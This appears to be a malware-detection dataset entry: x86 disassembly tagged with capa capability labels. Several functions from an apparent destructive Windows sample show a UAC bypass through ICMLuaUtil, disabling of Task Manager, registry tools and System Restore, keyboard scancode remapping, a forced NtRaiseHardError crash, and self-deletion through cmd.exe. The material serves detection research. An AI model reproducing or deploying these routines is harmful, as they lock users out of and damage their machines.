joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10106210
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
cmp ecx, dword [edi + 4]
jge 0x10106229
mov esi, edi
mov edi, eax
jmp 0x1010622b
mov esi, eax
mov eax, dword [esi + 4]
mov ebx, dword [esp + 0x10]
cmp eax, dword [ebx + 8]
jg 0x1010623b
mov eax, ebx
jmp 0x10106245
push eax
push ebx
call fcn.100d2000
add esp, 8
test eax, eax
jne 0x1010624d
pop edi
pop esi
pop ebx
ret
xor eax, eax
cmp dword [edi + 4], eax
jle 0x10106269
mov edx, dword [esi]
mov ecx, dword [edi]
mov edx, dword [edx + eax*4]
xor edx, dword [ecx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [edi + 4]
jl 0x10106254
cmp eax, dword [esi + 4]
jge 0x10106280
mov edi, edi
mov edx, dword [esi]
mov edx, dword [edx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [esi + 4]
jl 0x10106270
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
test eax, eax
jle 0x101062a1
mov ecx, dword [ebx]
lea ecx, [ecx + eax*4 - 4]
mov edx, dword [ecx]
sub ecx, 4
test edx, edx
jne 0x1010629e
dec eax
test eax, eax
jg 0x10106290
mov dword [ebx + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x1010a000
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp dword [edi + 0x10c], 0xffffffff
jne 0x1010a012
xor eax, eax
pop edi
ret
push ebx
push esi
push edi
call fcn.100d9520
mov ebx, dword [esp + 0x18]
mov esi, eax
mov eax, dword [esp + 0x1c]
add esp, 4
mov dword [eax], esi
test ebx, ebx
je 0x1010a0be
mov eax, dword [edi + 0x10c]
push ebp
cmp eax, esi
jne 0x1010a05e
test esi, esi
jle 0x1010a09d
mov ecx, ebx
lea eax, [edi + 0x8c]
mov ebp, esi
lea ebx, [ebx]
mov dl, byte [eax + 0x60]
xor dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
dec ebp
jne 0x1010a050
jmp 0x1010a09d
mov ecx, esi
sub ecx, eax
mov byte [eax + edi + 0xec], 0x80
cmp ecx, 1
jle 0x1010a083
dec ecx
push ecx
lea eax, [eax + edi + 0xed]
push 0
push eax
call fcn.1011df60
add esp, 0xc
test esi, esi
jle 0x1010a09d
mov ecx, ebx
lea eax, [edi + 0xac]
mov ebp, esi
mov dl, byte [eax + 0x40]
xor dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
dec ebp
jne 0x1010a091
push esi
push ebx
push ebx
push edi
call fcn.100d9530
add esp, 0x10
pop ebp
test eax, eax
jne 0x1010a0be
push esi
push ebx
call fcn.10134b50
add esp, 8
pop esi
pop ebx
xor eax, eax
pop edi
ret
pop esi
pop ebx
mov eax, 1
pop edi
ret
Function at 0x1011e48a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10170c30]
jne 0x1011e494
repz ret
jmp fcn.101266dc

Function at 0x1012df7f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1012510a
and dword [ebp - 0x14], 0
cmp dword [0x10179fcc], 0
mov dword [ebp - 0x18], eax
jne 0x1012e032
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1012e0da
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1012e0da
mov esi, dword [0x1016fc80]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10179fcc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10179fd0], eax
call edi
push eax
call esi
push 0x1016a97c
push ebx
mov dword [0x10179fd4], eax
call edi
push eax
call esi
mov dword [0x10179fdc], eax
test eax, eax
je 0x1012e032
push 0x1016a964
push ebx
call edi
push eax
call esi
mov dword [0x10179fd8], eax
mov eax, dword [0x10179fd8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [0x1016fc84]
cmp eax, ecx
je 0x1012e08b
cmp dword [0x10179fdc], ecx
je 0x1012e08b
push eax
call esi
push dword [0x10179fdc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1012e08b
test ebx, ebx
je 0x1012e08b
call edi
test eax, eax
je 0x1012e082
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1012e082
test byte [ebp - 8], 1
jne 0x1012e08b
or dword [ebp + 0x10], 0x200000
jmp 0x1012e0be
mov eax, dword [0x10179fd0]
cmp eax, dword [ebp - 0x18]
je 0x1012e0be
push eax
call esi
test eax, eax
je 0x1012e0be
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1012e0be
mov eax, dword [0x10179fd4]
cmp eax, dword [ebp - 0x18]
je 0x1012e0be
push eax
call esi
test eax, eax
je 0x1012e0be
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10179fcc]
call esi
test eax, eax
je 0x1012e0da
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1012e0dc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011e48a
leave
ret
Function at 0x10133e80
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x2c]
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
push edi
push esi
push edi
push esi
mov ebx, esp
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
push ebx
cmp ecx, 0
je 0x10133f59
and ebp, 0xfffffff8
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
je 0x10133ef7
mov ecx, dword [esi]
mov edx, dword [esi + 4]
xor eax, ecx
xor ebx, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
call fcn.10133a40
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov dword [edi], eax
mov dword [edi + 4], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x10133ec9
mov ebp, dword [esp + 0x3c]
and ebp, 7
je 0x10134000
call 0x10133f09
pop edx
lea ecx, [edx + 0x137]
mov ebp, dword [ecx + ebp*4]
add ebp, edx
xor ecx, ecx
xor edx, edx
jmp ebp
and ebp, 0xfffffff8
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
je 0x10133fa9
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
call fcn.10133b70
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [edi], ecx
mov dword [edi + 4], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x10133f66
mov ebp, dword [esp + 0x3c]
and ebp, 7
je 0x10134000
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
call fcn.10133b70
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
ror edx, 0x10
mov byte [edi + 6], dl
shr edx, 0x10
mov byte [edi + 5], dh
mov byte [edi + 4], dl
mov dword [edi], ecx
jmp 0x10133ffe
jmp 0x10134000
mov ecx, dword [esp + 0x4c]
add esp, 0x20
mov dword [ecx], eax
mov dword [ecx + 4], ebx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401000
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x230]
push esi
push edi
mov dword [ebp - 0x234], 0
mov ecx, 0x24
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401030
movups xmm0, xmmword [0x408380]
mov ax, word [0x4083b8]
lea edi, [ebp - 0x20c]
mov dword [ebp - 0x230], 0x24
add edi, 0xfffffffe
movups xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0x21c], 4
movups xmm0, xmmword [0x408390]
mov word [ebp - 0x1d4], ax
movups xmmword [ebp - 0x1fc], xmm0
movups xmm0, xmmword [0x4083a0]
movups xmmword [ebp - 0x1ec], xmm0
movq xmm0, qword [0x4083b0]
movq qword [ebp - 0x1dc], xmm0
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4010a0
mov ecx, 0x13
lea eax, [ebp - 0x234]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x4084cc
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x20c]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov ecx, dword [ebp - 0x234]
mov dword [ebx], ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004064e9
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Accept command line arguments

Disassembly:
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, eax
test ebx, ebx
je 0x4014bd
push esi
mov esi, ebx
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x401453
sub esi, ecx
sar esi, 1
push edi
lea eax, [esi*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4014b7
push esi
push ebx
lea eax, [esi + 1]
push eax
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
add esp, 0x10
cmp word [edi], 0x22
jne 0x4014b7
cmp word [edi + esi*2 - 2], 0x22
jne 0x4014b7
xor eax, eax
mov word [edi + esi*2 - 2], ax
lea eax, [esi - 4]
push eax
lea eax, [edi + 2]
push eax
push edi
call dword [sym.imp.VCRUNTIME140.dll_memmove]
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
ret
xor eax, eax
pop ebx
ret
Function at 0x404bd0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x100
call fcn.00406537
mov esi, eax
add esp, 4
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
mov dword [esi], 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov dword [esi + 0x54], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x60], 0
push str.SYSTEMCurrentControlSetControlKeyboard_Layout_
mov dword [esi + 0x64], 0
push 0x80000002
mov dword [esi + 0x68], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 0x100
push esi
push 3
push 0
push str.Scancode_Map
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004064e9
mov esp, ebp
pop ebp
ret

Function at 0x404d10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
push 0x409690
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x404d87
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004064e9
mov esp, ebp
pop ebp
ret
Function at 0x404da0
Capabilities:
Disable system features via registry on windows
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 8]
push 4
push eax
push 4
push 0
push str.AutoRestartShell
push dword [ebp - 0xc]
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableCAD
push dword [ebp - 0xc]
call edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableTaskMgr
push dword [ebp - 0xc]
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableChangePassword
push dword [ebp - 0xc]
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableLockWorkstation
push dword [ebp - 0xc]
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableLogoff
push dword [ebp - 0xc]
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.HideFastUserSwitching
push dword [ebp - 0xc]
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableRegistryTools
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.004064e9
mov esp, ebp
pop ebp
ret
Function at 0x404ec0
Capabilities:
Disable system features via registry on windows
Disable system restore features via registry on windows
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0xc]
push 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer_
push 0x80000002
mov dword [ebp - 8], 0
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 8]
push 4
push eax
push 4
push 1
push str.UseDefaultTile
push dword [ebp - 0xc]
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem_
push 0x80000002
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableLogonBackgroundImage
push dword [ebp - 0xc]
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon_
push 0x80000002
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.AutoRestartShell
push dword [ebp - 0xc]
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer_
push 0x80000001
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.NoWinKeys
push dword [ebp - 0xc]
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_
push 0x80000001
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.NoRun
push dword [ebp - 0xc]
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_NTSystemRestore_
push 0x80000002
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableConfig
push dword [ebp - 0xc]
call esi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableSR
push dword [ebp - 0xc]
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push 0x80000002
call edi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 1
push str.DisableBkGndGroupPolicy
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004064e9
mov esp, ebp
pop ebp
ret
Function at 0x405340
Capabilities:
Link many functions at runtime
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x4053e0
push 0x40842c
call edi
mov edi, eax
test edi, edi
je 0x4053d4
push 0x409a7c
push edi
call ebx
push str.NtRaiseHardError
push edi
mov dword [ebp - 0x10], eax
call ebx
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
test ecx, ecx
je 0x4053cd
test eax, eax
je 0x4053cd
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call ecx
lea eax, [ebp - 0x10]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call dword [ebp - 0xc]
add esp, 0x28
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 6
call esi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x1c]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x405453
push 0x40842c
call edi
mov edi, eax
test edi, edi
je 0x40544d
push 0x409a7c
push edi
call ebx
push str.NtRaiseHardError
push edi
mov dword [ebp - 0xc], eax
call ebx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
test ecx, ecx
je 0x405446
test eax, eax
je 0x405446
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call ecx
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call dword [ebp - 0x10]
add esp, 0x28
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 6
call esi
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 1
push eax
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4054da
push 0x40842c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x4054d4
push 0x409a7c
push edi
call ebx
push str.NtRaiseHardError
push edi
mov dword [ebp - 0xc], eax
call ebx
mov ebx, eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4054cd
test ebx, ebx
je 0x4054cd
lea ecx, [ebp - 5]
push ecx
push 0
push 1
push 0x13
call eax
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call ebx
add esp, 0x28
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 6
call esi
push 0
push 6
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004064e9
mov esp, ebp
pop ebp
ret
Function at 0x405500
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x409acc
movzx esi, cx
push esi
push 0
mov dword [ebp - 0x10], edx
call edi
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
jne 0x405552
push str.unable_to_find_resource
call fcn.00404940
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004064e9
mov esp, ebp
pop ebp
ret
push str.TEXT
push esi
push 0
call edi
mov edi, eax
test edi, edi
je 0x405532
mov esi, dword [sym.imp.KERNEL32.dll_LoadResource]
push ebx
push 0
call esi
mov ebx, eax
test ebx, ebx
jne 0x405593
push str.unable_to_load_resource
call fcn.00404940
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004064e9
mov esp, ebp
pop ebp
ret
push edi
push 0
call esi
mov esi, eax
test esi, esi
je 0x405573
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LockResource]
call ebx
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x4055ce
push str.Unable_to_lock_resource
call fcn.00404940
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004064e9
mov esp, ebp
pop ebp
ret
push esi
call ebx
mov ebx, eax
test ebx, ebx
je 0x4055ae
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call esi
push edi
push 0
mov dword [ebp - 0xc], eax
call esi
push 0
push 0
push 2
push 0
push 0
push 0x1f01ff
push dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405633
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40565c
cmp eax, 0x20
je 0x40565c
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004064e9
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push edi
call esi
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
push ebx
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004064e9
mov esp, ebp
pop ebp
ret
Function at 0x405ee0
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x210]
push eax
push str.cmd.exe__C_timeout__T_5__NOBREAK__del__F___ls_
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.00405840
push 0x40
lea eax, [ebp - 0x45c]
mov dword [ebp - 0x460], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x460]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x418]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x470]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x46c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004064e9
mov esp, ebp
pop ebp
ret
Function at 0x9821b8
Capabilities:
Decompress data using aplib

Disassembly:
call 0x982308
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9821de
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9821ca
add dl, dl
jne 0x9821e9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x98223c
xor eax, eax
add dl, dl
jne 0x9821f6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9822dd
add dl, dl
jne 0x982205
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x982210
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x98221b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x982226
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x982232
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9821d5
mov eax, 1
add dl, dl
jne 0x98224a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x982255
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x982241
sub eax, ebx
mov ebx, 1
jne 0x982288
mov ecx, 1
add dl, dl
jne 0x98226e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x982279
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x982265
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9821d5
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x98229f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9822aa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x982296
cmp eax, 0x7d00
jae 0x9822cd
cmp eax, 0x500
jb 0x9822c8
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9821d5
cmp eax, 0x7f
ja 0x9822d0
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9821d5
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9822fe
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9821d5
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10